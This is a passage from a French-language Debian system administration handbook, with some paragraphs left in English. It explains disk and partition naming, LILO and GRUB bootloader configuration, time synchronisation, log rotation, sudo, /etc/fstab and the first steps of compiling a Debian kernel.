Il est ainsi possible, en utilisant les noms affectés de manière dynamique, de garder le même nom pour un périphérique donné, quel que soit le port auquel il est connecté ou l'ordre dans lequel les périphériques ont été branchés, ce qui pourra se révéler très utile si de nombreux périphériques USB sont utilisés. La première partition du premier disque s'appelle généralement /dev/sda1 pour des raisons de compatibilité ascendante, mais elle pourrait tout aussi bien s'appeler /dev/partition-principale, voire les deux à la fois puisqu'il est possible de configurer udevd pour qu'il crée un lien symbolique automatiquement.

In ancient times, some kernel modules did automatically load when you tried to access the corresponding device file. This is no longer the case, and the peripheral's special file no longer exists prior to loading the module; this is no big deal, since most modules are loaded on boot thanks to automatic hardware detection. But for undetectable peripherals (such as very old disk drives or PS/2 mice), this doesn't work. Consider adding the modules, floppy, psmouse and mousedev to /etc/modules or /etc/modules-load.d/ in order to force loading them on boot.

La configuration du chargeur d'amorçage doit identifier les différents disques et leurs partitions. Linux emploie pour cela un système de fichiers spéciaux (dits en mode « bloc »), stockés dans le répertoire /dev/. Depuis Debian Squeeze, le schéma de nommage a été unifié et tous les disques durs (IDE/PATA, SATA, SCSI, USB, IEEE 1394) sont dorénavant représentés par des /dev/sd*.

Chaque partition est représentée par un numéro d'ordre au sein du disque où elle réside : /dev/sda1 est donc la première partition du premier disque et /dev/sdb3 la troisième partition du deuxième disque.

L'architecture PC (ou « i386 », y compris son jeune cousin « amd64 ») est limitée à quatre partitions « primaires » par disque. Pour outrepasser cette limitation, l'une d'entre elles sera créée comme une partition « étendue » et pourra alors contenir des partitions « secondaires ». Ces dernières portent toujours un numéro supérieur ou égal à 5. La première partition secondaire pourra donc être /dev/sda5, suivie de /dev/sda6, etc.

Une autre restriction de la table de partition MS-DOS est qu'elle ne supporte pas des disques de plus de 2 To, ce qui devient un vrai problème avec les disques récents.

A new partition table format called GPT (GUID Partition Table) loosens these constraints on the number of partitions (it allows up to 128 partitions when using standard settings) and on the size of the disks (up to 8 ZiB, which is more than 8 billion terabytes). If you intend to create many physical partitions on the same disk, you should therefore ensure that you are creating the partition table in the GPT format when partitioning your disk.

QUICK LOOK The Globally Unique Identifier (GUID)

Using GPT the partition type is represented as a 16 bytes long universally unique identifier, also known as Globally Unique Identifier (GUID), which is part of the UEFI standard (see NOTE UEFI, le remplaçant moderne du BIOS). Compared to the hex code used to determine the partition type in the MS-DOS table format, you will have a hard time trying to remember these identifiers. Fortunately there are lists with all the IDs which you can use to create partition recipes to use with sfdisk or for preseeding the Debian installer.

→ https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs

It is not always easy to remember what disk is connected to which SATA controller, or in third position in the SCSI chain, especially since the naming of hotplugged hard drives (which includes among others most SATA disks and external disks) can change from one boot to another. Fortunately, udev creates, in addition to /dev/sd*, symbolic links with a fixed name, which you could then use if you wished to identify a hard drive in a non-ambiguous manner. These symbolic links are stored in /dev/disk/by-id/. On a machine with two physical disks, for example, one could find the following:

mirexpress:/dev/disk/by-id# ls -l

total 0

lrwxrwxrwx 1 root root  9 23 juil. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 juil. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 juil. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root  9 23 juil. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 juil. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 juil. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root  9 23 juil. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda

lrwxrwxrwx 1 root root 10 23 juil. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../../sda1

lrwxrwxrwx 1 root root 10 23 juil. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../../sda2

[...]

lrwxrwxrwx 1 root root  9 23 juil. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 -> ../../sdb

lrwxrwxrwx 1 root root 10 23 juil. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part1 -> ../../sdb1

lrwxrwxrwx 1 root root 10 23 juil. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-part2 -> ../../sdb2

[...]

lrwxrwxrwx 1 root root  9 23 juil. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 -> ../../sdc

lrwxrwxrwx 1 root root 10 23 juil. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 -> ../../sdc1

lrwxrwxrwx 1 root root 10 23 juil. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 -> ../../sdc2

[...]

lrwxrwxrwx 1 root root  9 23 juil. 08:58 wwn-0x5000c50015c4842f -> ../../sda

lrwxrwxrwx 1 root root 10 23 juil. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1

[...]

mirexpress:/dev/disk/by-id#

Note that some disks are listed several times (because they behave simultaneously as ATA disks and SCSI disks), but the relevant information is mainly in the model and serial numbers of the disks, from which you can find the peripheral file. While the links in /dev/disk/by-id/ are created using the device' serial number and physical path, there are more convenience links in e.g. /dev/disk/by-label/ (based on given labels), /dev/disk/by-uuid/ (based on unique identifiers, which can change when reformatting a device using mkfs.* or mkswap), /dev/disk/by-path/ (based on shortest physical path), and /dev/disk/by-partlabel/ and /dev/disk/by-partuuid/ (only partitions with GPT labels and their unique identifiers). If you use these links, e.g. in /etc/fstab, always prefer unique identifiers over labels. You can also obtain and change this information for each partition or device using the lsblk and blkid commands.

Les exemples de fichiers de configuration donnés dans les sections suivantes reposent tous sur le même cas : un seul disque SATA, dont la première partition est dédiée à un ancien Windows et la seconde contient Debian GNU/Linux.

ALTERNATIVE The LILO bootloader

LILO (LInux LOader, ou chargeur de Linux) est le plus ancien chargeur d'amorçage, solide mais rustique. Il écrit dans le MBR l'adresse physique du noyau à démarrer ; c'est pourquoi chaque mise à jour de celui-ci (ou du fichier de configuration de LILO) doit être suivie de la commande lilo. L'oublier produira un système incapable de démarrer si l'ancien noyau a été supprimé ou remplacé, puisque le nouveau ne sera pas au même emplacement sur le disque.

LILO a pour fichier de configuration /etc/lilo.conf ; un fichier simple pour une configuration standard est illustré par l'exemple ci-dessous.

Exemple 8.4. Fichier de configuration de LILO

# Le disque sur lequel LILO doit s'installer.

# En indiquant le disque et non pas une partition,

# on ordonne à LILO de s'installer sur le MBR.

boot=/dev/sda

# la partition qui contient Debian

root=/dev/sda2

# l'élément à charger par défaut

default=Linux

# Noyau le plus récent

image=/vmlinuz

label=Linux

initrd=/initrd.img

read-only

# Ancien noyau (si le noyau nouvellement installé ne démarre pas)

image=/vmlinuz.old

label=LinuxOLD

initrd=/initrd.img.old

read-only

optional

# Seulement pour un double amorçage Linux/Windows

other=/dev/sda1

label=Windows

As per request of the maintainer and upstream author of lilo, the bootloader has been removed from Debian 11 Bullseye and it is unlikely to make a comeback.

8.8.2. Configuration de GRUB 2

GRUB (GRand Unified Bootloader) est plus récent. Il n'est pas nécessaire de l'invoquer après chaque mise à jour du noyau. GRUB sait lire les systèmes de fichiers et trouver la position du noyau sur le disque par lui-même. Pour l'installer sur le MBR du premier disque, tapez simplement grub-install /dev/sda. Cette opération écrasera le MBR, il faut donc faire attention à ne pas écraser le mauvais emplacement. Bien qu'il soit également possible d'installer GRUB dans un enregistrement sur la partition d'amorçage, sachez qu'il s'agit généralement d'une erreur et que grub-install /dev/sda1 n'a pas la même signification que grub-install /dev/sda.

ATTENTION Noms des disques pour GRUB

GRUB can only identify hard drives based on information provided by the BIOS. (hd0) corresponds to the first disk thus detected, (hd1) the second, etc. In most cases, this order corresponds exactly to the usual order of disks under Linux, but problems can occur when you associate SCSI and IDE disks. GRUB used to store the correspondences that it detected in the file /boot/grub/device.map. Nowadays it avoids this problem using universally unique identifier (UUIDs) or file system labels when generating grub.cfg. However, the device map file is not obsolete yet, since it can be used to override when the current environment is different from the one on boot. If you find errors there (because you know that your BIOS detects drives in a different order), correct them manually and run grub-install again. grub-mkdevicemap can help creating a device.map file from which to start.

Les partitions portent aussi un nom spécifique à GRUB. Lorsque l'on utilise des partitions « classiques » au format MS-DOS, la première partition du premier disque est notée (hd0,msdos1), la seconde (hd0,msdos2), etc.

GRUB 2 configuration is stored in /boot/grub/grub.cfg, but this file (in Debian) is generated from others. Be careful not to modify it by hand, since such local modifications will be lost the next time update-grub is run (which may occur upon update of various packages). The most common modifications of the /boot/grub/grub.cfg file (to add command line parameters to the kernel or change the duration that the menu is displayed, for example) are made through the variables in /etc/default/grub. To add entries to the menu, you can either create a /boot/grub/custom.cfg file or modify the /etc/grub.d/40_custom file. For more complex configurations, you can modify other files in /etc/grub.d, or add to them; these scripts should return configuration snippets, possibly by making use of external programs. These scripts are the ones that will update the list of kernels to boot: 10_linux takes into consideration the installed Linux kernels; 20_linux_xen takes into account Xen virtual systems, and 30_os-prober adds other existing operating systems (Windows, OS X, Hurd), kernel images, and BIOS/EFI access options to the menu.

CAUTION error: symbol `grub_*' not found

One of the most often reported issues when using GRUB is that users get an error like error symbol `grub_calloc' not found and they are unable to boot the system anymore. Most of the time this error is caused by installing an updated version of GRUB that causes new modules in /boot/grub to be incompatible with old core images in the boot sector that your firmware jumps to when booting your machine. This happens on systems that are configured to run grub-install to a target device that is not actually the one that the firmware uses to boot your system (e.g. after replacing disks or moving them around - one can see the issue when running dpkg-reconfigure grub-pc showing the wrong target device). With the release of Debian 11 Bullseye (the change was also populated to Buster) the update process now checks for this issue and exits with an error in case it finds such a constellation.

→ https://bugs.debian.org/bug=966575#95

Setting up grub-pc (2.02+dfsg1-20+deb10u4) ...

/dev/disk/by-id/[..] does not exist, so cannot grub-install to it!

You must correct your GRUB install devices before proceeding:

DEBIAN_FRONTEND=dialog dpkg --configure grub-pc

dpkg --configure -a

dpkg: error processing package grub-pc (--configure):

installed grub-pc package post-installation script subprocess returned error exit status 1

To fix the issue and continue the upgrade procedure, just follow the advice and run the commands given by the error message as root.

8.8.3. Using GRUB with EFI and Secure Boot

Using GRUB to boot either a traditional BIOS system (legacy or UEFI-CSM) or a UEFI system is quite different. Fortunately the user doesn't need to know the differences because Debian provides different packages for each purpose and the installer automatically cares about which one(s) to choose. The grub-pc package is chosen for legacy systems, where GRUB is installed into the MBR, while UEFI systems require grub-efi-arch, where GRUB is installed into the EFI System Partition (ESP). The latter requires a GTP partition table as well as an EFI partition.

→ https://wiki.debian.org/Grub2#UEFI_vs_BIOS_boot

To switch an existing system (supporting UEFI) from legacy to UEFI boot mode not only requires to switch the GRUB packages on the system, but also to adjust the partition table and the to create an EFI partition (probably including resizing existing partitions to create the necessary free space). It is therefore quite an elaborate process and we cannot cover it here. Fortunately, there are some manuals by bloggers describing the necessary procedures.

If you are using a system with “Secure Boot“ enabled and have installed shim-signed (see sidebar CULTURE Secure Boot et le chargeur d'amorçage shim), you must also install grub-efi-arch-signed. This package is not pulled in automatically, only if the installation of recommended package has been enabled.

8.9. Autres configurations : synchronisation, logs, partages…

Cette section regroupe de nombreux éléments qu'il est bon de connaître pour maîtriser tous les aspects de la configuration du système GNU/Linux. Ils sont cependant traités brièvement et renvoient souvent à la documentation de référence.

8.9.1. Fuseau horaire

B.A.-BA Le lien symbolique

Un lien symbolique est un pointeur vers un autre fichier. Quand on y accède, c'est le fichier ainsi pointé qui est ouvert. Sa suppression n'entraîne pas la suppression du fichier pointé. De même, il ne dispose pas de droits propres, ce sont ceux de la cible qui comptent. Enfin, il peut pointer sur n'importe quel type de fichier : répertoires, fichiers spéciaux (sockets, tubes, périphériques, etc.), autres liens symboliques...

La commande ln -s cible nom-lien crée un lien symbolique nom-lien pointant sur cible.

Si la cible n'existe pas, alors le lien est « cassé » et y accéder renverra une erreur indiquant que le fichier demandé n'existe pas. Si le lien pointe sur un autre lien, on obtient une « chaîne » de liens qui se transforme en « cycle » si l'un des liens cibles pointe sur l'un de ses prédécesseurs. Dans ce cas, accéder à l'un des liens du cycle renverra une erreur spécifique (« Trop de niveaux de liens symboliques » — c'est l'aveu d'échec du noyau après avoir parcouru le cycle un grand nombre de fois).

The timezone, configured during initial installation, is a configuration item for the tzdata package. To modify it, use the dpkg-reconfigure tzdata command, which allows you to choose the timezone to be used in an interactive manner. Its configuration is stored in the /etc/timezone file. Additionally, /etc/localtime becomes a symbolic link to the corresponding file in the /usr/share/zoneinfo; the file that contains the rules governing the dates where daylight saving time (DST) is active, for countries that use it.

Pour changer temporairement de fuseau horaire, il est possible de mettre en place un fuseau horaire ayant la priorité sur les réglages du système avec la variable d'environnement TZ :

$ date

Thu Sep  2 22:29:48 CEST 2021

$ TZ="Pacific/Honolulu" date

Thu 02 Sep 2021 10:31:01 AM HST

NOTE Horloge système, horloge matérielle

Il existe en réalité deux sources de temps dans un ordinateur. La carte mère de l'ordinateur dispose d'une horloge matérielle, dite « CMOS ». Cette horloge est peu précise et offre des temps d'accès assez lents. Le noyau du système d'exploitation a la sienne, logicielle, qu'il maintient à l'heure par ses propres moyens (éventuellement à l'aide de serveurs de temps, voir Section 8.9.2, « Synchronisation horaire »). Cette horloge système est généralement plus précise, notamment parce qu'elle ne nécessite pas de temps d'accès variables à du matériel. Cependant, comme elle n'existe qu'en mémoire vive, elle est remise à zéro à chaque démarrage de l'ordinateur, contrairement à l'horloge CMOS, qui dispose d'une pile et « survit » donc à un redémarrage ou une extinction. L'horloge système est donc réglée sur l'horloge CMOS, lors du démarrage de l'ordinateur, et l'horloge CMOS est mise à jour lors de l'extinction (pour prendre en compte d'éventuels changements ou corrections si elle était déréglée).

En pratique, il se pose un problème, car l'horloge CMOS n'est qu'un compteur et ne contient pas d'informations de fuseau horaire. Il y a donc un choix à faire sur son interprétation : soit le système considère qu'il s'agit de temps universel (UTC, anciennement GMT), soit qu'il s'agit d'heure locale. Ce choix pourrait n'être qu'un simple décalage, mais les choses se compliquent : par suite des considérations d'heure d'été, ce décalage n'est pas constant ; la conséquence est que le système n'a au démarrage aucun moyen de savoir si le décalage est correct, notamment aux alentours des périodes de changement d'heure. Comme il est toujours possible de reconstruire l'heure locale en fonction de l'heure universelle et du fuseau horaire, nous recommandons donc vivement d'adopter une horloge CMOS en temps universel.

Unfortunately, some Windows systems in their default configuration ignore this recommendation; they keep the CMOS clock on local time, applying time changes when booting the computer by trying to guess during time changes if the change has already been applied or not. This works relatively well, as long as the system has only Windows running on it. But when a computer has several systems (whether it be a “dual-boot” configuration or running other systems via virtual machine), chaos ensues, with no means to determine if the time is correct. If you absolutely must retain Windows on a computer, you should either configure it to keep the CMOS clock as UTC (setting the registry key HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation\RealTimeIsUniversal to “1” as a DWORD), or use hwclock --localtime --set on the Debian system to set the hardware clock and mark it as tracking the local time (and make sure to manually check your clock in spring and autumn).

8.9.2. Synchronisation horaire

La synchronisation horaire, qui peut paraître superflue sur un ordinateur, prend toute son importance dans le cadre d'un réseau. Les utilisateurs n'ayant pas le droit de modifier la date et l'heure, il est important que ces informations soient exactes pour ne pas les gêner. Par ailleurs, le fait d'avoir tous les ordinateurs synchronisés permet de mieux croiser les informations obtenues à partir de logs issus de machines différentes. Ainsi, en cas d'attaque, il est plus simple de reconstituer la séquence chronologique des actions des indélicats sur les différentes machines compromises. Des données collectées sur plusieurs machines à des fins de statistiques n'ont pas non plus grand sens si leurs horodatages sont divers.

B.A.-BA NTP

NTP (Network Time Protocol, ou protocole d'heure en réseau) permet à une machine de se synchroniser sur une autre en prenant en compte de manière relativement précise les délais induits par le transfert de l'information sur le réseau et les autres décalages possibles.

Bien qu'il existe de nombreux serveurs NTP sur Internet, les plus connus peuvent être surchargés. C'est pourquoi il est recommandé d'employer le serveur NTP pool.ntp.org — c'est en réalité une collection de machines qui ont accepté de jouer le rôle de serveur NTP public. On peut même se limiter à un sous-ensemble spécifique à un pays, avec par exemple fr.pool.ntp.org pour la France.

Si vous administrez un réseau important, il est toutefois recommandé de mettre en place votre propre serveur NTP, qui se synchronisera avec les serveurs publics. Dans ce cas, toutes les autres machines de votre réseau pourront utiliser le serveur NTP interne au lieu d'augmenter la charge sur les serveurs publics. Vous gagnerez également en homogénéité des horloges, puisque toutes les machines seront synchronisées sur la même source, très proche en termes de temps de transfert réseau.

8.9.2.1. Pour les stations de travail

Les stations de travail étant redémarrées régulièrement (ne serait-ce que par souci d'économie d'énergie), il suffit de les synchroniser par NTP au démarrage. Pour cela, il est possible d'y installer le paquet Debian ntpdate. On changera au besoin le serveur NTP employé en modifiant le fichier /etc/default/ntpdate.

8.9.2.2. Pour les serveurs

Les serveurs ne redémarrent que très rarement et il est très important que leur heure système soit juste. Pour conserver une heure correcte en permanence, on installera un serveur NTP local, service proposé par le paquet ntp. Dans sa configuration par défaut, le serveur se synchronisera sur pool.ntp.org et fournira l'heure à qui la lui demandera sur le réseau local. On le configurera à travers le fichier /etc/ntp.conf ; l'élément le plus intéressant à changer est le serveur NTP de référence. Si le réseau compte beaucoup de serveurs, il peut être intéressant de n'avoir qu'un seul serveur qui se synchronise sur les serveurs publics, les autres se synchronisant sur lui.

POUR ALLER PLUS LOIN Module GPS et autres sources de temps

Si la synchronisation horaire est cruciale dans votre réseau, il est possible d'équiper un serveur d'un module GPS (qui demandera l'heure aux satellites GPS) ou DCF-77 (qui la captera sur une horloge atomique installée près de Francfort). Dans ces cas, la configuration du serveur NTP est un peu plus compliquée et la consultation de sa documentation un préalable absolument nécessaire.

8.9.3. Rotation des fichiers de logs

Les fichiers de logs prenant rapidement du volume, il est nécessaire de les archiver. On emploie en général une archive « tournante » : le fichier de log est régulièrement archivé et seules ses X dernières archives sont conservées. logrotate, le programme chargé de ces rotations, suit les directives données dans le fichier /etc/logrotate.conf et tous ceux du répertoire /etc/logrotate.d/. L'administrateur peut modifier ces fichiers s'il souhaite adapter la politique de rotation des logs définie par Debian. La page de manuel logrotate(1) décrit toutes les options autorisées dans ces fichiers de configuration. Il peut être intéressant d'augmenter le nombre de fichiers conservés dans la rotation des logs, ou de déplacer les fichiers de logs dans un répertoire spécifique dédié à l'archivage au lieu de les supprimer. On peut encore les envoyer par courrier électronique pour les archiver ailleurs.

Le programme logrotate est exécuté quotidiennement par l'ordonnanceur cron (décrit dans la Section 9.7, « Planification de tâches : cron et atd »).

8.9.4. Partage des droits d'administration

Bien souvent, plusieurs administrateurs s'occupent du réseau. Partager le mot de passe de l'utilisateur root n'est pas très élégant et ouvre la porte à des abus du fait de l'anonymat de ce compte partagé. La solution à ce problème est le programme sudo, qui permet à certains utilisateurs d'exécuter certaines commandes avec des droits particuliers. Dans son emploi le plus courant sudo permet à un utilisateur de confiance d'exécuter n'importe quelle commande en tant que root. Pour cela, l'utilisateur doit simplement exécuter sudo commande et s'authentifier à l'aide de son mot de passe personnel.

When installed, the sudo package gives full root rights to members of the sudo Unix group. To delegate other rights, the administrator can use the visudo command, which allows them to modify the /etc/sudoers configuration file (here again, this will invoke the vi editor, or any other editor indicated in the EDITOR environment variable). Alternatively they might put rules in small files in /etc/sudoers.d/ as long as this directory is included by /etc/sudoers via @includedir /etc/sudoers.d, which is the default for Debian. Adding a line with username ALL=(ALL) ALL allows the user in question to execute any command as root.

More sophisticated configurations allow authorization of only specific commands to specific users. All the details of the various possibilities are given in the sudoers(5) manual page.

8.9.5. Liste des points de montage

B.A.-BA Montage et démontage

In a Unix-like system such as Debian, files are organized in a single tree-like hierarchy of directories. The / directory is called the “root directory”; all additional directories are sub-directories within this root. “Mounting” is the action of including the content of a peripheral device (often a hard drive) into the system's general file tree. As a consequence, if you use a separate hard drive to store users' personal data, this disk will have to be “mounted” in the /home/ directory (during installation you already made relevant choices, see Section 4.2.13.1, « Partitionnement assisté ») The root filesystem is always mounted at boot by the kernel; other devices are often mounted later during the startup sequence or manually with the mount command.

Certains périphériques amovibles sont montés automatiquement lors de leur branchement, notamment dans les environnements de bureau GNOME et Plasma. Les autres devront être montés manuellement par l'utilisateur. Il faudra également que celui-ci puisse les démonter (ou retirer de l'arborescence) ; c'est d'ailleurs un préalable nécessaire à l'éjection de certains d'entre eux, comme les CD-Rom. Les utilisateurs normaux ne sont normalement pas habilités à employer les commandes mount et umount. L'administrateur peut toutefois autoriser ces opérations (indépendamment pour chaque point de montage) en positionnant l'option user dans le fichier /etc/fstab.

The mount command can be used without arguments to list all mounted filesystems (as found in /proc/mounts as well); you can execute findmnt --fstab to show only the filesystems from /etc/fstab. The following parameters are required to mount or unmount a device - for the complete list, please refer to the corresponding man pages, mount(8) and umount(8). For simple cases, the syntax is simple too: for example, to mount the /dev/sdc1 partition, which has an ext3 filesystem, into the /mnt/tmp/ directory, you would simply run mount -t ext3 /dev/sdc1 /mnt/tmp/.

Le fichier /etc/fstab donne la liste de tous les montages possibles (effectués automatiquement au démarrage ou à exécuter manuellement pour les périphériques amovibles). Chaque point de montage y est détaillé sur une ligne par plusieurs champs séparés par des espaces, qui sont :

- file system: this indicates where the filesystem to be mounted can be found, it can be a local device (hard drive partition, CD-ROM) or a remote filesystem (such as NFS or even SSHFS).
This field is frequently replaced with the unique ID of the filesystem (which you can determine with blkid device) prefixed with UUID=. This guards against a change in the name of the device in the event of addition or removal of disks, or if disks are detected in a different order. Section 8.8.1, « Identifier ses disques » covers this topic in more detail.

- Point de montage : c'est l'endroit de l'arborescence où ce système de fichiers sera rendu accessible.

- Type : ce champ définit le système de fichiers employé sur le périphérique. ext4, ext3, vfat, ntfs, reiserfs, xfs en sont quelques exemples.
B.A.-BA NFS, un système de fichiers réseau

NFS — Network File System — est un système de fichiers réseau ; sous Linux, il permet d'accéder de manière transparente à des fichiers distants en les intégrant dans l'arborescence du système.

La liste complète des systèmes de fichiers reconnus est disponible dans la page de manuel mount(8). La valeur spéciale swap sert aux partitions d'échange ; la valeur spéciale auto demande au programme mount de détecter automatiquement le système de fichiers (ce qui est surtout utile pour les lecteurs de disques et les clés USB, car chacun peut abriter un système de fichiers différent).

- Options : elles sont nombreuses, dépendent du système de fichiers et sont documentées dans la page de manuel de mount. Voici les plus courantes :

- rw ou ro feront respectivement monter le système de fichiers en lecture/écriture ou en lecture seule .

- noauto désactive le montage automatique au démarrage .

- nofail indique au système d'initialisation que le démarrage peut continuer même si le périphérique n'est pas présent. Il ne faut pas oublier cette option pour les disques externes qui peuvent être débranchés au démarrage, autrement systemd ne tolérera pas leur absence : il interrompra le processus de démarrage jusqu'à ce que tous les points de montage qui doivent être montés automatiquement le soient effectivement. Signalons que l'on peut combiner cette option avec x-systemd.device-timeout=5s pour indiquer à systemd de ne pas attendre l'apparition du périphérique pendant plus de 5 secondes (voir systemd.mount(5)) .

- user autorise tous les utilisateurs à monter ce système de fichiers (opération d'ordinaire réservée à root) .

- defaults correspond à l'ensemble d'options (rw, suid, dev, exec, auto, nouser et async), qu'on pourra inhiber individuellement après defaults — soit en ajoutant nosuid, nodev, etc. pour bloquer suid, dev, etc., soit en ajoutant user pour réactiver cette option (puisque defaults inclut nouser).

- dump: this field is almost always set to 0 and kind of a relic. When it is greater then zero, it tells the dump tool that the partition contains data that is to be backed up frequently. The tool supports Ext2/3/4 filesystems only and will use the value here when run via dump -W or dump -w to determine which partitions need to be backed up. Consider the examples in /usr/share/doc/dump/examples/ if you want to use this feature. But there are better alternatives to backup a filesystem, like fsarchiver.

- pass : ce dernier champ indique si l'intégrité du système de fichiers doit être vérifiée au démarrage et dans quel ordre cette vérification doit avoir lieu. S'il est à 0, aucune vérification n'est faite. Le système de fichiers racine doit avoir la valeur 1, les autres systèmes de fichiers permanents du système recevront la valeur 2.

Exemple 8.5. Exemple de fichier /etc/fstab

# /etc/fstab: static file system information.

#

# Use 'blkid' to print the universally unique identifier for a

# device; this may be used with UUID= as a more robust way to name devices

# that works even if disks are added and removed. See fstab(5).

#

# systemd generates mount units based on this file, see systemd.mount(5).

# Please run 'systemctl daemon-reload' after making changes here.

#

# <file system>                           <mount point>   <type>      <options>         <dump>  <pass>

# / was on /dev/sda1 during installation

UUID=7a250fb8-c16d-4a4e-9808-ec08ae92b6c6 /               ext4        errors=remount-ro 0       1

# swap was on /dev/sda5 during installation

UUID=13f367ae-dbaf-40ed-85c0-4072a2ebe426 none            swap        sw                0       0

/dev/sr0                                  /media/cdrom0   udf,iso9660 user,noauto       0       0

/dev/fd0                                  /media/floppy   auto        rw,user,noauto    0       0

arrakis:/shared                           /shared         nfs         defaults          0       0

The last entry in the example corresponds to a network filesystem (NFS): the /shared/ directory on the arrakis server is mounted at /shared/ on the local machine.

The format of the /etc/fstab file is documented in the fstab(5) manual page.

POUR ALLER PLUS LOIN Automonteurs

systemd is able to manage automount points: those are filesystems that are mounted on-demand when a user attempts to access their target mount points. It can also unmount these filesystems when no process is accessing them any longer.

Like most concepts in systemd, automount points are managed with dedicated units, using the .automount suffix. See systemd.automount(5) for their precise syntax.

D'autres automonteurs existent, par exemple automount du paquet autofs ou amd du paquet am-utils.

Note also that GNOME, Plasma, and other graphical desktop environments work together with udisks2, and can automatically mount removable media when they are connected.

8.9.6. locate et updatedb

The locate command can find the location of a file when you only know part of the name. It sends a result almost instantaneously, since it consults a database that stores the location of all the files on the system; this database is updated daily by the updatedb command. There are multiple implementations of the locate command and Debian picked mlocate for its standard system. If you want to consider an alternative, you can try plocate which provides the same command line options and can be considered a drop-in replacement.

locate is smart enough to only return files which are accessible to the user running the command even though it uses a database that knows about all files on the system (since its updatedb implementation runs with root rights). For extra safety, the administrator can use PRUNEDPATHS in /etc/updatedb.conf to exclude some directories from being indexed.

8.10. Compilation d'un noyau

Les noyaux fournis par Debian intègrent le plus grand nombre possible de fonctionnalités ainsi qu'un maximum de pilotes, afin de couvrir le plus grand spectre de configurations matérielles existantes. C'est pourquoi certains utilisateurs préfèrent recompiler le noyau pour n'y inclure que le strict nécessaire. Il existe deux raisons à ce choix. Premièrement, cela peut être pour optimiser la consommation de mémoire, puisque le code du noyau, même s'il n'est jamais utilisé, occupe de la mémoire pour rien (et ne « descend » jamais sur l'espace d'échange, donc c'est de vraie mémoire vive qu'il s'agit), ce qui peut diminuer les performances globales du système. Il peut également s'agir de limiter le risque de failles de sécurité (le code compilé portant alors sur une fraction plus faible du code existant).

ATTENTION Mises à jour de sécurité

Si l'on choisit de compiler son propre noyau, il faut en accepter les conséquences : Debian n'assurera pas les mises à jour de sécurité de ce noyau. En restant avec un noyau fourni par Debian, on bénéficie des mises à jour préparées par l'équipe sécurité du projet.

La recompilation du noyau est aussi nécessaire si l'on souhaite employer certaines fonctionnalités non intégrées dans sa version standard mais disponibles sous forme de correctifs, ou patches.

POUR ALLER PLUS LOIN Le Manuel du noyau Debian

L'équipe en charge du noyau dans Debian maintient le « Manuel du noyau Debian » (également disponible dans le paquet debian-kernel-handbook), qui contient une mine d'informations à propos de la plupart des tâches liées au noyau et à la manière dont les paquets Debian du noyau sont traités. C'est le premier endroit où chercher des informations qui manqueraient à la présente section.

→ https://kernel-team.pages.debian.net/kernel-handbook/

8.10.1. Introduction et prérequis

Comme on peut s'y attendre, Debian gère le noyau sous forme de paquet, ce qui n'est pas la manière traditionnelle de le compiler et de l'installer. Les noyaux restant sous le contrôle du système de paquetage, ils peuvent être rapidement supprimés ou déployés sur plusieurs machines. De plus, les scripts associés à ces paquets permettent également une meilleure interaction avec le chargeur de démarrage et le générateur d'images de démarrage (initrd).

The upstream Linux sources contain everything needed to build a Debian package of the kernel. But you still need to install build-essential to ensure that you have the tools required to build a Debian package. Furthermore, the configuration step for the kernel requires the libncurses-dev package (formerly libncurses5-dev, which is now a transitional package). Finally, the fakeroot package will enable creation of the Debian package without using administrator's rights.

CULTURE Le bon vieux temps de kernel-package

À l'époque où le système de compilation du noyau Linux ne permettait pas encore de créer directement des paquets Debian, la manière recommandée de créer ces paquets était d'utiliser l'outil make-kpkg fourni par le paquet kernel-package.

8.10.2. Récupérer les sources

Comme tout ce qui peut être utile sur un système Debian, les sources du noyau Linux sont disponibles en paquets. Pour les récupérer, il faudra donc installer un paquet linux-source-version. Une requête apt search ^linux-source permet d'obtenir la liste des différentes versions du noyau empaquetées par Debian. Les dernières versions en date sont vraisemblablement disponibles dans la distribution Unstable : on peut les y récupérer sans grands risques (surtout si votre APT est configuré conformément aux instructions de la Section 6.2.6, « Travailler avec plusieurs distributions »). Il est à noter que les codes sources contenus dans ces paquets ne correspondent pas exactement à ceux que publient Linus Torvalds et les développeurs du noyau : Debian applique en effet un certain nombre de patches — comme toutes les distributions. Ces modifications incluent des correctifs (dont certains concernent des failles de sécurité) ou des fonctionnalités qui sont en attente d'intégration dans une version ultérieure du noyau, ainsi que quelques fonctionnalités spécifiques à Debian.

The remainder of this section focuses on the 5.10 version of the Linux kernel, but the examples can, of course, be adapted to the particular version of the kernel that you want.

We assume the linux-source-5.10 package has been installed. It contains /usr/src/linux-source-5.10.tar.xz, a compressed archive of the kernel sources. You must extract these files in a new directory (not directly under /usr/src/, since there is no need for special permissions to compile a Linux kernel): ~/kernel/ is appropriate.

$ mkdir ~/kernel; cd ~/kernel

$ tar -xaf /usr/src/linux-source-5.10.tar.xz

CULTURE Emplacement des sources du noyau

